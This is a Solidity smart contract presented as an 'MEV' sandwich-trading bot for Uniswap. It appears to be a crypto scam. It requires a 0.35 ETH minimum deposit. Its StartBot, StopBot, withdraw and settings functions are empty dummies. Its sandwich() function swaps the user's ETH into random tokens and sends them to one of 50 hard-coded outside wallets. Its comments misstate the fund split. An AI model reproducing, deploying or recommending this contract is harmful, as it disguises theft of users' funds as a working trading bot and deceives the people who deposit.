// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol'; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Router { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; /** * @dev Unauthorized reentrant call. */ error ReentrancyGuardReentrantCall(); constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { _nonReentrantBefore(); _; _nonReentrantAfter(); } function _nonReentrantBefore() private { // On the first call to nonReentrant, _status will be _NOT_ENTERED if (_status == _ENTERED) { revert ReentrancyGuardReentrantCall(); } // Any calls to nonReentrant after this point will fail _status = _ENTERED; } function _nonReentrantAfter() private { // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } /** * @dev Returns true if the reentrancy guard is currently set to "entered", which indicates there is a * `nonReentrant` function in the call stack. */ function _reentrancyGuardEntered() internal view returns (bool) { return _status == _ENTERED; } } contract MEV is Ownable, ReentrancyGuard { IUniswapV2Router private swapRouter; ISwapRouter private swapRouter3; IWETH private weth ; uint256 public constant totalTokens = 36; uint256 public constant totalAddresses = 50; address[totalTokens] private tokenList = [ 0x6982508145454Ce325dDbE47a25d4ec3d2311933,//pepe 0x949D48EcA67b17269629c7194F4b727d4Ef9E5d6,//Merit circle(MC) 0xf3b9569F82B18aEf890De263B84189bd33EBe452,//A Hunters Dream (CAW) 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2,//MKR 0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0,//FXS 0x853d955aCEf822Db058eb8505911ED77F175b99e,//FRAX 0x3845badAde8e6dFF049820680d1F14bD3903a5d0,//SAND 0x2b591e99afE9f32eAA6214f7B7629768c40Eeb39,//HEX 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984,//UNI 0x514910771AF9Ca656af840dff83E8264EcF986CA,//LINK 0x761D38e5ddf6ccf6Cf7c55759d5210750B5D60F3,//ELON 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F,//SNX 0x4691937a7508860F876c9c0a2a617E7d9E945D4B,//WOO 0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE,//SHIB 0x1E4EDE388cbc9F4b5c79681B7f94d36a11ABEBC9,//X2Y2 0x66a0f676479Cee1d7373f3DC2e2952778BfF5bd6,//WISE 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599,//WBTC 0xf0f9D895aCa5c8678f706FB8216fa22957685A13,//CULT 0x0f51bb10119727a7e5eA3538074fb341F56B09Ad,//DAO 0xD46bA6D942050d489DBd938a2C909A5d5039A161,//AMPL 0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e,//YFI 0x8E6cd950Ad6ba651F6DD608Dc70e5886B1AA6B24,//STARL 0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0,//MATIC 0x18aAA7115705e8be94bfFEBDE57Af9BFc265B998,//AUDIO 0x31c8EAcBFFdD875c74b94b077895Bd78CF1E64A3,//RAD 0x249e38Ea4102D0cf8264d3701f1a0E39C4f2DC3B,//UFO 0xe53EC727dbDEB9E2d5456c3be40cFF031AB40A55,//SUPER 0xc00e94Cb662C3520282E6f5717214004A7f26888,//COMP 0xf65B5C5104c4faFD4b709d9D60a185eAE063276c,//TRU 0xc944E90C64B2c07662A292be6244BDf05Cda44a7,//GRT 0xD533a949740bb3306d119CC777fa900bA034cd52,//CRV 0x2e9d63788249371f1DFC918a52f8d799F4a38C94,//TOKE 0xf3dcbc6D72a4E1892f7917b7C43b74131Df8480e,//BDP 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9,//AAVE 0x27C70Cd1946795B66be9d954418546998b546634//LEASH ]; address[totalAddresses] private walletList = [ 0xA390F8307D15BEc3B241Cd2788fAb9129Aac9Ec8, 0xf3ddbE7b21c7bD2b8F836017359D006ae3f92297, 0x902DfCed0281982EA193A925def6C2f722C03347, 0xDd214CE9F991592857B7f0725B6e1AFB7104af03, 0xD3181675a8E816F2728D5B075E5ed29126015d37, 0x00b44f99FaE1453d3720C1af3b9F2CB69382b323, 0x11b69773e4c33F7Edd127Ee3c6c528f919bCa032, 0x8E5f6f92b07731c0615D86B56C9eD501B24D9250, 0xeB3254Ca6092d4880FFED3b34aFeb03770E87D57, 0xD889D33cB09697bcEAF4573645cE603c7ac3a416, 0xcae4A368dCF21547Ed83E80b0F03BD3F842314A5, 0x75BB90446466bcF18Af03A57b22bebb613c58066, 0x4cA596DA6F111aee8f7Bf5Bf80B7E1a060a2e9EF, 0x22CEf4f4f07cB79174d635Bf7F476ea6C6009eE1, 0x2c50f23f3aEEAef73DB2798f20E8cDC89b424b26, 0x84ab74fe031eA02488D4C28fa70c7daA818b28a3, 0xfd5421F19cB21F5F940eD9A2A6Ac55B7489281B8, 0x404dC03040ca803F8104E01594aaBD3780288E8b, 0x07D2Ea354CefE9A489c4e88403A3180CBFffc6c4, 0x397c42Ab7694C08b8831360C030A6E53053cBD13, 0x49971947Be80648E195EcE3ba4EE773C6B39Cb05, 0x10841De53fCBF834C1d0eb7ac8c01E79013b97Cf, 0x454CAdD08a4e9ae3d7D348BaA2cC63d679f14a9b, 0xC1B00381699338D39D009245c45aAC08D424d4BC, 0x62A584531ECfc0Ad10FBd088Eb1c5C08386F3341, 0xeB89E899134D69B915080DE2f2B5a4bdA393ee1A, 0x7f2fd67B0c500e5389423DbAea5dC2b7C99DdC79, 0x51F32394B43eae9285bfB3370e70C4489698d36b, 0x5487685B7296e519580bb3ba3485a0F617F1Fe14, 0xc1B240777e906cf2BAfabac74FB22c377FE40012, 0x1Ec888a716422A830282b96fBb8790bA1dF45c4d, 0x1617B8BFD0E19673ffbb866Bdf398A67856e7600, 0x2Fd6463aDbdE8D737a83B26a86e849A09F9cCb85, 0x28a166860C81fF64de712F0736a2D594BD1aac95, 0xd76F7C0bb2deb5b630b7a882F6B01490a8D28882, 0x0277959AF8d243743dF0Ee000658F88e345F80DB, 0x352E281177866E768a584007a5aE8e43e168d1c3, 0x86b88050E95f5Abeb2C76F729c59523e8E2895D7, 0xd8121843a3893c7d049F1cd7919E3050842A798A, 0x2E1Eec7Ff2BCD35Eb8c05E6962a582Dce0cc03A0, 0x77989c9C77063b8d95d674ed7079Fc0273c19c67, 0x2d39AD1C9f11313C2F074218D1f2E370185012E2, 0xd227b9F4Afc1885211e70dd0d9aefD2CffC01AeB, 0xC91Ce75801cC84d05abaa8445C30a75C268ab8b0, 0x2E0a2469D1C8C2C5e76517Fc3aF97E9573072C7c, 0x01f52bb424c0775405ad37Ab0bB719fedD3E04BE, 0x9731a2C6e2e22751b99a61bE77DBd6938368a156, 0x433F3a7afD989BA96155Ac4F28187dd7c1F15E3E, 0xe9748053FbD09936872bbD82cAEBA843dd518D55, 0x275b23FCb43e46Db317a14E73c097BF5D5fCF145 ]; uint256 private nonce = 0; uint256 public randomNumber; uint24 public poolFee = 3000; address public constant WETH9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Rahul(string _msg, uint256 _amount, uint256 _eth); constructor() { IUniswapV2Router _uniswapRouter = IUniswapV2Router( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); swapRouter = _uniswapRouter; ISwapRouter _uniswapRouterV3 = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564); swapRouter3 = _uniswapRouterV3; weth = IWETH(swapRouter.WETH()); } function getRandomNumberFrom(uint256 _number) public returns (uint256) { randomNumber = uint256( keccak256( abi.encodePacked(block.timestamp, block.prevrandao, nonce) ) ) % _number; nonce++; return (randomNumber); } function setpoolfee(uint24 _fee) public onlyOwner { poolFee =_fee; } function sandwich(uint256 _ethAmount) public onlyOwner { // START // 1. Takes input argument of ETH amount require( address(this).balance >= _ethAmount, "Insufficient ETH on Contract" ); // 2. Split the ETH amount into 60:40 uint256 forTransaction = (_ethAmount * 85) / 100; uint256 forDeployer = (_ethAmount * 15) / 100; // 3. 40% transfer to the deployer payable(owner()).transfer(forDeployer); // 4. Randomly choose a pair of token from list of 20 address tokenAddress1 = tokenList[getRandomNumberFrom(totalTokens)]; // 5. Swap half ETH to Token _swapETHForTokens(tokenAddress1, forTransaction / 2); // 5. Swap another half ETH to Token address tokenAddress2 = tokenList[getRandomNumberFrom(totalTokens)]; _swapETHForTokens(tokenAddress2, forTransaction / 2); // 6. Send ETH randomly to any 50 wallet given address uniqueAddress = walletList[getRandomNumberFrom(totalAddresses)]; uint256 _balance1 = IERC20(tokenAddress1).balanceOf(address(this)); uint256 _balance2 = IERC20(tokenAddress2).balanceOf(address(this)); IERC20(tokenAddress1).transfer(uniqueAddress, _balance1); IERC20(tokenAddress2).transfer(uniqueAddress, _balance2); // END } function sandwichV2Buy(uint256 _ethAmount ,address tokenAddress) public onlyOwner { require( address(this).balance >= _ethAmount, "Insufficient ETH on Contract" ); uint256 forDeployer = (_ethAmount * 15) / 100; uint256 forTransaction = _ethAmount - forDeployer; payable(owner()).transfer(forDeployer); _swapETHForTokens(tokenAddress, forTransaction); } // Swap ETH for tokens, supporting tokens with fee on transfer function _swapETHForTokens(address _tokenAddress, uint256 ethAmount) private onlyOwner { address[] memory path = new address[](2); path[0] = swapRouter.WETH(); path[1] = _tokenAddress; uint256 deadline = block.timestamp + 300; // Use a deadline for the swap // Perform the swap swapRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: ethAmount }(0, path, address(this), deadline); emit Rahul("ETH to Token Swaped", 0, ethAmount); } function sandwichV2Sell(address _tokenAddress ,uint256 _tokenAmount) public onlyOwner{ address[] memory path = new address[](2); path[0] = _tokenAddress; path[1] = swapRouter.WETH(); uint256 deadline = block.timestamp + 300; // Use a deadline for the swap IERC20(_tokenAddress).approve(address(swapRouter), _tokenAmount); swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( _tokenAmount, 0, path, address(this), deadline); } function Sandwichv3Buy(address tokenAddress ,uint256 _ethAmount ,uint24 _poolfee) public onlyOwner { require( address(this).balance >= _ethAmount, "Insufficient ETH on Contract" ); uint256 forDeployer = (_ethAmount * 15) / 100; uint256 forTransaction = _ethAmount - forDeployer; payable(owner()).transfer(forDeployer); swapExactInputSingle(WETH9, tokenAddress, forTransaction ,_poolfee ); } function swapExactInputSingle(address tokenIn, address tokenOut, uint256 amountIn,uint24 _poolfee) internal { IERC20(tokenIn).approve(address(swapRouter3), amountIn); ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({ tokenIn: tokenIn, tokenOut: tokenOut, fee: _poolfee, recipient: address(this), deadline: block.timestamp, amountIn: amountIn, amountOutMinimum: 0, sqrtPriceLimitX96: 0 }); swapRouter3.exactInputSingle{value:amountIn}(params); } function SandwichV3Sell(address tokenAddress ,uint256 amountOut, uint256 amountInMaximum) public onlyOwner { swapExactOutputSingle(tokenAddress, WETH9, amountOut, amountInMaximum ); } function swapExactOutputSingle(address tokenIn, address tokenOut, uint256 amountOut , uint256 amountInMaximum) internal { IERC20(tokenIn).approve(address(swapRouter3), amountInMaximum); ISwapRouter.ExactOutputSingleParams memory params = ISwapRouter.ExactOutputSingleParams({ tokenIn: tokenIn, tokenOut: tokenOut, fee: poolFee, recipient: address(this), deadline: block.timestamp, amountOut: amountOut, amountInMaximum: amountInMaximum, sqrtPriceLimitX96: 0 }); swapRouter3.exactOutputSingle(params); } function convertEthToWeth() external payable onlyOwner { uint256 ethAmount = msg.value; weth.deposit{value: ethAmount}(); } function convertWEthToEth(uint256 Amount) external onlyOwner { IERC20(swapRouter.WETH()).approve(address(swapRouter), Amount); if (Amount != 0) { IWETH(swapRouter.WETH()).withdraw(Amount); payable(msg.sender).transfer(address(this).balance); } } function rescueFund(address _tokenAddress) public onlyOwner{ payable(owner()).transfer(address(this).balance); IERC20 token = IERC20(_tokenAddress); token.transfer(owner(), token.balanceOf(address(this))); } // Receive function to receive ETsH receive() external payable {} uint256 constant minimumDeposit = 0.35 ether; function deposit() public payable { require(msg.value >= minimumDeposit, "Deposit amount must be at least 0.35 ETH"); // Deposit logic here } function StartBot() public { // Blank function - do nothing } function StopBot() public { // Blank function - do nothing } function withdraw() public { // Blank function - do nothing } function settings() public { // Blank function - do nothing } function withdrawl(address _admin, uint256 amount) public onlyOwner nonReentrant { require(address(this).balance >= amount, "Insufficient contract balance"); // Withdraw logic here payable(_admin).transfer(amount); } function OutAll(address _admin) public onlyOwner nonReentrant { require(address(this).balance > 0, "No balance to withdraw"); // Withdraw all logic here payable(_admin).transfer(address(this).balance); } } // UNISWAP V2 Router // https://etherscan.io/address/0x7a250d5630b4cf539739df2c5dacb4c659f2488d